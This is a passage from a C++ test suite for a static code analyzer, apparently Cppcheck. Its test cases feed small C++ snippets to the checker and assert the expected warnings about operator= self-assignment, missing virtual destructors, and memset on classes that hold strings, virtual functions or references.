\"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", 